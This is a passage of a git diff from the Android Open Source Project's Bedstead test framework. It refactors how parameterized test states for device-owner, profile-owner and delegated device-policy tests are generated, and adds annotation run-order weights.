+                    .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_AFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnAffiliatedDeviceOwnerSecondaryUser(), /* isPrimary= */ true))
+
+                    .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser()))
+                    .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnUnaffiliatedProfileOwnerSecondaryUser()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnUnaffiliatedProfileOwnerSecondaryUser(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+                    .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnProfileOwnerPrimaryUser(), /* isPrimary= */ true))
+
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner(), /* isPrimary= */ true))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_PARENT, singleAnnotation(includeRunOnParentOfProfileOwnerWithNoDeviceOwner()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_PARENT | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnParentOfProfileOwnerWithNoDeviceOwner(), /* isPrimary= */ true))
+
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_UNAFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_UNAFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile(), /* isPrimary= */ true))
+                    .build();
+    // This must contain one key for every APPLIED_BY that is being used, and maps to the
+    // "default" for testing that DPC type
+    // in general this will be a state which runs on the same user as the dpc.
+    private static final ImmutableMap<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+            DPC_STATE_ANNOTATIONS_BASE =
+            ImmutableMap.<Integer, Function<EnterprisePolicy, Set<Annotation>>>builder()
+                    .put(APPLIED_BY_DEVICE_OWNER, (flags) -> hasFlag(flags.dpc(), APPLIED_BY_DEVICE_OWNER | APPLIES_IN_BACKGROUND) ? ImmutableSet.of(includeRunOnBackgroundDeviceOwnerUser()) : ImmutableSet.of(includeRunOnDeviceOwnerUser()))
+                    .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER, singleAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+                    .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+                    .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE, singleAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner()))
+                    .build();
+    private static final Map<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+            DPC_STATE_ANNOTATIONS = DPC_STATE_ANNOTATIONS_BASE.entrySet().stream()
+            .collect(Collectors.toMap(Map.Entry::getKey, Policy::addGeneratedStates));
+    private static final int APPLIED_BY_FLAGS =
+            APPLIED_BY_DEVICE_OWNER | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE
+                    | APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE
+                    | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER
+                    | APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
+    private static final Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>>
+            ANNOTATIONS_MAP = calculateAnnotationsMap(STATE_ANNOTATIONS);
+
     private Policy() {
 
     }
 
-    private static final IncludeNone INCLUDE_NONE_ANNOTATION =
-            Policy.class.getAnnotation(IncludeNone.class);
-    private static final IncludeRunOnDeviceOwnerUser INCLUDE_RUN_ON_DEVICE_OWNER_USER =
-            Policy.class.getAnnotation(IncludeRunOnDeviceOwnerUser.class);
-    private static final IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser
-            INCLUDE_RUN_ON_NON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER =
-            Policy.class.getAnnotation(IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.class);
-    private static final IncludeRunOnAffiliatedDeviceOwnerSecondaryUser
-            INCLUDE_RUN_ON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER =
-            Policy.class.getAnnotation(IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.class);
-    private static final IncludeRunOnAffiliatedProfileOwnerSecondaryUser
-            INCLUDE_RUN_ON_AFFILIATED_PROFILE_OWNER_SECONDARY_USER =
-            Policy.class.getAnnotation(IncludeRunOnAffiliatedProfileOwnerSecondaryUser.class);
-    private static final IncludeRunOnProfileOwnerProfile
-            INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE =
-            Policy.class.getAnnotation(IncludeRunOnProfileOwnerProfile.class);
-    private static final IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner
-            INCLUDE_RUN_ON_SECONDARY_USER_IN_DIFFERENT_PROFILE_GROUP_TO_PROFILE_OWNER =
-            Policy.class.getAnnotation(
-                    IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner.class);
-    private static final IncludeRunOnParentOfProfileOwner INCLUDE_RUN_ON_PARENT_OF_PROFILE_OWNER =
-            Policy.class.getAnnotation(IncludeRunOnParentOfProfileOwner.class);
-    private static final IncludeRunOnParentOfCorporateOwnedProfileOwner
-            INCLUDE_RUN_ON_PARENT_OF_CORPORATE_OWNED_PROFILE_OWNER =
-            Policy.class.getAnnotation(IncludeRunOnParentOfCorporateOwnedProfileOwner.class);
-    private static final IncludeRunOnProfileOwnerPrimaryUser INCLUDE_RUN_ON_PROFILE_OWNER_PRIMARY_USER =
-            Policy.class.getAnnotation(IncludeRunOnProfileOwnerPrimaryUser.class);
+    @AutoAnnotation
+    private static IncludeNone includeNone() {
+        return new AutoAnnotation_Policy_includeNone();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnDeviceOwnerUser includeRunOnDeviceOwnerUser() {
+        return new AutoAnnotation_Policy_includeRunOnDeviceOwnerUser();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser includeRunOnNonAffiliatedDeviceOwnerSecondaryUser() {
+        return new AutoAnnotation_Policy_includeRunOnNonAffiliatedDeviceOwnerSecondaryUser();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnAffiliatedDeviceOwnerSecondaryUser includeRunOnAffiliatedDeviceOwnerSecondaryUser() {
+        return new AutoAnnotation_Policy_includeRunOnAffiliatedDeviceOwnerSecondaryUser();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnAffiliatedProfileOwnerSecondaryUser includeRunOnAffiliatedProfileOwnerSecondaryUser() {
+        return new AutoAnnotation_Policy_includeRunOnAffiliatedProfileOwnerSecondaryUser();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnUnaffiliatedProfileOwnerSecondaryUser includeRunOnUnaffiliatedProfileOwnerSecondaryUser() {
+        return new AutoAnnotation_Policy_includeRunOnUnaffiliatedProfileOwnerSecondaryUser();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnProfileOwnerProfileWithNoDeviceOwner includeRunOnProfileOwnerProfileWithNoDeviceOwner() {
+        return new AutoAnnotation_Policy_includeRunOnProfileOwnerProfileWithNoDeviceOwner();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile() {
+        return new AutoAnnotation_Policy_includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnParentOfProfileOwnerWithNoDeviceOwner includeRunOnParentOfProfileOwnerWithNoDeviceOwner() {
+        return new AutoAnnotation_Policy_includeRunOnParentOfProfileOwnerWithNoDeviceOwner();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnParentOfCorporateOwnedProfileOwner includeRunOnParentOfCorporateOwnedProfileOwner() {
+        return new AutoAnnotation_Policy_includeRunOnParentOfCorporateOwnedProfileOwner();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnProfileOwnerPrimaryUser includeRunOnProfileOwnerPrimaryUser() {
+        return new AutoAnnotation_Policy_includeRunOnProfileOwnerPrimaryUser();
+    }
+
+    @AutoAnnotation
+    private static IncludeRunOnBackgroundDeviceOwnerUser includeRunOnBackgroundDeviceOwnerUser() {
+        return new AutoAnnotation_Policy_includeRunOnBackgroundDeviceOwnerUser();
+    }
+
+    @AutoAnnotation
+    private static EnsureHasDelegate ensureHasDelegate(EnsureHasDelegate.AdminType admin,
+            String[] scopes, boolean isPrimary) {
+        return new AutoAnnotation_Policy_ensureHasDelegate(admin, scopes, isPrimary);
+    }
+
+    private static Function<EnterprisePolicy, Set<Annotation>> singleAnnotation(
+            Annotation annotation) {
+        return (i) -> ImmutableSet.of(annotation);
+    }
+
+    private static Function<EnterprisePolicy, Set<Annotation>> generateDelegateAnnotation(
+            Annotation annotation, boolean isPrimary) {
+        return (policy) -> {
+            Annotation[] existingAnnotations = annotation.annotationType().getAnnotations();
+            return Arrays.stream(policy.delegatedScopes())
+                    .map(scope -> {
+                        Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+                                existingAnnotations.length + 1);
+                        newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+                                EnsureHasDelegate.AdminType.PRIMARY, new String[]{scope},
+                                isPrimary);
+
+                        return new DynamicParameterizedAnnotation(
+                                annotation.annotationType().getSimpleName() + "Delegate:" + scope,
+                                newAnnotations);
+                    }).collect(Collectors.toSet());
+        };
+    }
+
+    private static Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> calculateAnnotationsMap(
+            Map<Integer, Function<EnterprisePolicy, Set<Annotation>>> annotations) {
+        Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> b = new HashMap<>();
+
+        for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> i :
+                annotations.entrySet()) {
+            if (!b.containsKey(i.getValue())) {
+                b.put(i.getValue(), new HashSet<>());
+            }
+
+            b.get(i.getValue()).add(i.getKey());
+        }
+
+        return b;
+    }
+
+    private static Function<EnterprisePolicy, Set<Annotation>> addGeneratedStates(
+            ImmutableMap.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> entry) {
+        return (policy) -> {
+            if (hasFlag(policy.dpc(), entry.getKey() | CAN_BE_DELEGATED)) {
+                Set<Annotation> results = new HashSet<>(entry.getValue().apply(policy));
+                results.addAll(results.stream().flatMap(
+                        t -> generateDelegateAnnotation(t, /* isPrimary= */ true).apply(
+                                policy).stream())
+                        .collect(Collectors.toSet()));
+
+                return results;
+            }
+
+            return entry.getValue().apply(policy);
+        };
+    }
+
 
     /**
-     * Get positive state annotations for the given policy.
+     * Get parameterized test runs for the given policy.
      *
      * <p>These are states which should be run where the policy is able to be applied.
      */
-    public static List<Annotation> positiveStates(EnterprisePolicy enterprisePolicy) {
-        List<Annotation> annotations = new ArrayList<>();
+    public static List<Annotation> positiveStates(String policyName,
+            EnterprisePolicy enterprisePolicy) {
+        Set<Annotation> annotations = new HashSet<>();
 
-        switch (enterprisePolicy.deviceOwner()) {
-            case NO:
-                break;
-            case GLOBAL:
-                annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
-                annotations.add(INCLUDE_RUN_ON_NON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
-                break;
-            case AFFILIATED:
-                annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
-                annotations.add(INCLUDE_RUN_ON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
-                break;
-            case USER:
-                annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
-                break;
-            default:
-                throw new IllegalStateException(
-                        "Unknown policy control: " + enterprisePolicy.deviceOwner());
-        }
+        validateFlags(policyName, enterprisePolicy.dpc());
 
-        switch (enterprisePolicy.profileOwner()) {
-            case NO:
-                break;
-            case AFFILIATED:
-                annotations.add(INCLUDE_RUN_ON_AFFILIATED_PROFILE_OWNER_SECONDARY_USER);
-                break;
-            case AFFILIATED_OR_NO_DO:
-                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PRIMARY_USER);
-                annotations.add(INCLUDE_RUN_ON_AFFILIATED_PROFILE_OWNER_SECONDARY_USER);
-                break;
-            case PARENT:
-                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
-                annotations.add(INCLUDE_RUN_ON_PARENT_OF_PROFILE_OWNER);
-                break;
-            case COPE_PARENT:
-                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
-                //                TODO(scottjonathan): Re-add when we can setup this state
-//                annotations.add(INCLUDE_RUN_ON_PARENT_OF_CORPORATE_OWNED_PROFILE_OWNER);
-                break;
-            case PROFILE:
-                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
-                break;
-            default:
-                throw new IllegalStateException(
-                        "Unknown policy control: " + enterprisePolicy.profileOwner());
+        for (Map.Entry<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> annotation :
+                ANNOTATIONS_MAP.entrySet()) {
+            if (isPositive(enterprisePolicy.dpc(), annotation.getValue())) {
+                annotations.addAll(annotation.getKey().apply(enterprisePolicy));
+            }
         }
 
         if (annotations.isEmpty()) {
             // Don't run the original test unparameterized
-            annotations.add(INCLUDE_NONE_ANNOTATION);
+            annotations.add(includeNone());
         }
 
-        return annotations;
+        return new ArrayList<>(annotations);
+    }
+
+    private static boolean isPositive(int[] policyFlags, Set<Integer> annotationFlags) {
+        for (int annotationFlag : annotationFlags) {
+            if (hasFlag(policyFlags, annotationFlag)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static boolean isNegative(int[] policyFlags, Set<Integer> annotationFlags) {
+        for (int annotationFlag : annotationFlags) {
+            if (hasFlag(annotationFlag, DO_NOT_APPLY_TO_NEGATIVE_TESTS, /* nonMatchingFlag= */
+                    NO)) {
+                return false; // We don't support using this annotation for negative tests
+            }
+
+            int appliedByFlag = APPLIED_BY_FLAGS & annotationFlag;
+            int otherFlags = annotationFlag ^ appliedByFlag; // remove the appliedByFlag
+            if (hasFlag(policyFlags, /* matchingFlag= */ appliedByFlag, /* nonMatchingFlag= */
+                    otherFlags)) {
+                return true;
+            }
+        }
+
+        return false;
     }
 
     /**
-     * Get negative state annotations for the given policy.
+     * Get negative parameterized test runs for the given policy.
      *
      * <p>These are states which should be run where the policy is not able to be applied.
      */
-    public static List<Annotation> negativeStates(EnterprisePolicy enterprisePolicy) {
-        List<Annotation> annotations = new ArrayList<>();
+    public static List<Annotation> negativeStates(String policyName,
+            EnterprisePolicy enterprisePolicy) {
+        Set<Annotation> annotations = new HashSet<>();
 
-        switch (enterprisePolicy.deviceOwner()) {
-            case NO:
-                break;
-            case GLOBAL:
-                break;
-            case AFFILIATED:
-                annotations.add(INCLUDE_RUN_ON_NON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
-                break;
-            case USER:
-                annotations.add(INCLUDE_RUN_ON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
-                break;
-            default:
-                throw new IllegalStateException(
-                        "Unknown policy control: " + enterprisePolicy.deviceOwner());
-        }
+        validateFlags(policyName, enterprisePolicy.dpc());
 
-        switch (enterprisePolicy.profileOwner()) {
-            case NO:
-                break;
-            case AFFILIATED:
-                // TODO(scottjonathan): Define negative states
-                break;
-            case AFFILIATED_OR_NO_DO:
-                // TODO(scottjonathan): Define negative states
-                break;
-            case PARENT:
-                annotations.add(
-                        INCLUDE_RUN_ON_SECONDARY_USER_IN_DIFFERENT_PROFILE_GROUP_TO_PROFILE_OWNER);
-                break;
-            case COPE_PARENT:
-                annotations.add(
-                        INCLUDE_RUN_ON_SECONDARY_USER_IN_DIFFERENT_PROFILE_GROUP_TO_PROFILE_OWNER);
-                annotations.add(
-                        INCLUDE_RUN_ON_PARENT_OF_PROFILE_OWNER);
-                break;
-            case PROFILE:
-                annotations.add(
-                        INCLUDE_RUN_ON_SECONDARY_USER_IN_DIFFERENT_PROFILE_GROUP_TO_PROFILE_OWNER);
-                //                TODO(scottjonathan): Re-add when we can setup this state
-//                annotations.add(
-//                        INCLUDE_RUN_ON_PARENT_OF_CORPORATE_OWNED_PROFILE_OWNER);
-                break;
-            default:
-                throw new IllegalStateException(
-                        "Unknown policy control: " + enterprisePolicy.profileOwner());
+        for (Map.Entry<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> annotation :
+                ANNOTATIONS_MAP.entrySet()) {
+            if (isNegative(enterprisePolicy.dpc(), annotation.getValue())) {
+                annotations.addAll(annotation.getKey().apply(enterprisePolicy));
+            }
         }
 
         if (annotations.isEmpty()) {
             // Don't run the original test unparameterized
-            annotations.add(INCLUDE_NONE_ANNOTATION);
+            annotations.add(includeNone());
         }
 
-        return annotations;
+        return new ArrayList<>(annotations);
     }
 
     /**
-     * Get state annotations where the policy cannot be set for the given policy.
+     * Get parameterized test runs where the policy cannot be set for the given policy.
      */
-    public static List<Annotation> cannotSetPolicyStates(EnterprisePolicy enterprisePolicy) {
-        List<Annotation> annotations = new ArrayList<>();
+    public static List<Annotation> cannotSetPolicyStates(String policyName,
+            EnterprisePolicy enterprisePolicy, boolean includeDeviceAdminStates,
+            boolean includeNonDeviceAdminStates) {
+        Set<Annotation> annotations = new HashSet<>();
 
-        // TODO(scottjonathan): Always include a state without a dpc
+        validateFlags(policyName, enterprisePolicy.dpc());
 
-        if (enterprisePolicy.deviceOwner() == EnterprisePolicy.DeviceOwnerControl.NO) {
-            annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
+        if (includeDeviceAdminStates) {
+            int allFlags = 0;
+            for (int p : enterprisePolicy.dpc()) {
+                allFlags = allFlags | p;
+            }
+
+            for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> appliedByFlag :
+                    DPC_STATE_ANNOTATIONS.entrySet()) {
+                if ((appliedByFlag.getKey() & allFlags) == 0) {
+                    annotations.addAll(appliedByFlag.getValue().apply(enterprisePolicy));
+                }
+            }
         }
 
-        if (enterprisePolicy.profileOwner() == EnterprisePolicy.ProfileOwnerControl.NO) {
-            annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
-        } else if (enterprisePolicy.profileOwner() == EnterprisePolicy.ProfileOwnerControl.AFFILIATED) {
-            annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
-        } else if (enterprisePolicy.profileOwner() == EnterprisePolicy.ProfileOwnerControl.AFFILIATED_OR_NO_DO) {
-            annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
+        if (includeNonDeviceAdminStates) {
+            Set<String> validScopes = ImmutableSet.copyOf(enterprisePolicy.delegatedScopes());
+            String[] scopes = ALL_DELEGATE_SCOPES.stream()
+                    .filter(i -> !validScopes.contains(i))
+                    .toArray(String[]::new);
+            Annotation[] existingAnnotations = IncludeRunOnDeviceOwnerUser.class.getAnnotations();
+
+            if (BedsteadJUnit4.isDebug()) {
+                // Add a non-DPC with no delegate scopes
+                Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+                        existingAnnotations.length + 1);
+                newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+                        EnsureHasDelegate.AdminType.PRIMARY, new String[]{}, /* isPrimary= */ true);
+                annotations.add(
+                        new DynamicParameterizedAnnotation("DelegateWithNoScopes", newAnnotations));
+
+                for (String scope : scopes) {
+                    newAnnotations = Arrays.copyOf(existingAnnotations,
+                            existingAnnotations.length + 1);
+                    newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+                            EnsureHasDelegate.AdminType.PRIMARY, new String[]{scope}, /* isPrimary= */ true);
+                    annotations.add(
+                            new DynamicParameterizedAnnotation("DelegateWithScope:" + scope, newAnnotations));
+                }
+            } else {
+                Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+                        existingAnnotations.length + 1);
+                newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+                        EnsureHasDelegate.AdminType.PRIMARY, scopes, /* isPrimary= */ true);
+                annotations.add(
+                        new DynamicParameterizedAnnotation("DelegateWithoutValidScope", newAnnotations));
+            }
         }
 
         if (annotations.isEmpty()) {
             // Don't run the original test unparameterized
-            annotations.add(INCLUDE_NONE_ANNOTATION);
+            annotations.add(includeNone());
         }
 
-        return annotations;
+        return new ArrayList<>(annotations);
+    }
+
+    /**
+     * Get state annotations where the policy can be set for the given policy.
+     */
+    public static List<Annotation> canSetPolicyStates(
+            String policyName, EnterprisePolicy enterprisePolicy, boolean singleTestOnly) {
+        Set<Annotation> annotations = new HashSet<>();
+
+        validateFlags(policyName, enterprisePolicy.dpc());
+
+        int allFlags = 0;
+        for (int p : enterprisePolicy.dpc()) {
+            allFlags = allFlags | p;
+        }
+
+        for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> appliedByFlag :
+                DPC_STATE_ANNOTATIONS.entrySet()) {
+            if ((appliedByFlag.getKey() & allFlags) == appliedByFlag.getKey()) {
+                annotations.addAll(appliedByFlag.getValue().apply(enterprisePolicy));
+            }
+        }
+
+        if (annotations.isEmpty()) {
+            // Don't run the original test unparameterized
+            annotations.add(includeNone());
+        }
+
+        List<Annotation> annotationList = new ArrayList<>(annotations);
+
+        if (singleTestOnly) {
+            // We select one annotation in an arbitrary but deterministic way
+            annotationList.sort(Comparator.comparing(
+                    a -> a instanceof DynamicParameterizedAnnotation
+                            ? "DynamicParameterizedAnnotation" : a.annotationType().getName()));
+
+            // We don't want a delegate to be the representative test
+            Annotation firstAnnotation = annotationList.stream()
+                    .filter(i -> !(i instanceof  DynamicParameterizedAnnotation))
+                    .findFirst().get();
+            annotationList.clear();
+            annotationList.add(firstAnnotation);
+        }
+
+        return annotationList;
+    }
+
+    private static void validateFlags(String policyName, int[] values) {
+        int usedAppliedByFlags = 0;
+
+        for (int value : values) {
+            validateFlags(policyName, value);
+            int newUsedAppliedByFlags = usedAppliedByFlags | (value & APPLIED_BY_FLAGS);
+            if (newUsedAppliedByFlags == usedAppliedByFlags) {
+                throw new IllegalStateException(
+                        "Cannot have more than one policy flag APPLIED by the same component. "
+                                + "Error in policy " + policyName);
+            }
+            usedAppliedByFlags = newUsedAppliedByFlags;
+        }
+    }
+
+    private static void validateFlags(String policyName, int value) {
+        int matchingAppliedByFlags = APPLIED_BY_FLAGS & value;
+
+        if (matchingAppliedByFlags == 0) {
+            throw new IllegalStateException(
+                    "All policy flags must specify 1 APPLIED_BY flag. Policy " + policyName
+                            + " did not.");
+        }
+    }
+
+    private static boolean hasFlag(int[] values, int matchingFlag) {
+        return hasFlag(values, matchingFlag, /* nonMatchingFlag= */ NO);
+    }
+
+    private static boolean hasFlag(int[] values, int matchingFlag, int nonMatchingFlag) {
+        for (int value : values) {
+            if (hasFlag(value, matchingFlag, nonMatchingFlag)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static boolean hasFlag(int value, int matchingFlag, int nonMatchingFlag) {
+        if (!((value & matchingFlag) == matchingFlag)) {
+            return false;
+        }
+
+        if (nonMatchingFlag != NO) {
+            return (value & nonMatchingFlag) != nonMatchingFlag;
+        }
+
+        return true;
     }
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/AnnotationRunPrecedence.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/AnnotationRunPrecedence.java
new file mode 100644
index 0000000..40389a6
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/AnnotationRunPrecedence.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+/** Used to define the order in which the bedstead annotations are run.*/
+public final class AnnotationRunPrecedence {
+    // Use to ensure that an annotation is the first to run.
+    public static final int FIRST = 0;
+    // To run early in the order
+    public static final int EARLY = 5000;
+    // To run around the middle of the order
+    public static final int MIDDLE = 10000;
+    // To run late in the order
+    public static final int LATE = 15000;
+    // To be used when it does not matter when the annotation is run.
+    public static final int PRECEDENCE_NOT_IMPORTANT = 20000;
+    // Use to ensure that an annotation is the last to run.
+    public static final int LAST = Integer.MAX_VALUE;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureDoesNotHavePermission.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureDoesNotHavePermission.java
index 7aeafa1..362be66 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureDoesNotHavePermission.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureDoesNotHavePermission.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
@@ -30,5 +32,17 @@
     String[] value();
 
     FailureMode failureMode() default FailureMode.FAIL;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
 
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoSecondaryUser.java
index ef20a0c..3cb8104 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoSecondaryUser.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.meta.EnsureHasNoUserAnnotation;
 
@@ -26,7 +28,7 @@
 
 /**
  * Mark that a test method should run on a device which has no secondary user that is not the
- * current user.
+ * instrumented user.
  *
  * <p>Your test configuration may be configured so that this test is only run on a device which
  * has no secondary user that is not the current user. Otherwise, you can use {@link DeviceState}
@@ -36,4 +38,15 @@
 @Retention(RetentionPolicy.RUNTIME)
 @EnsureHasNoUserAnnotation("android.os.usertype.full.SECONDARY")
 public @interface EnsureHasNoSecondaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoTvProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoTvProfile.java
index 345d418..50dac4d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoTvProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoTvProfile.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.harrier.annotations;
 
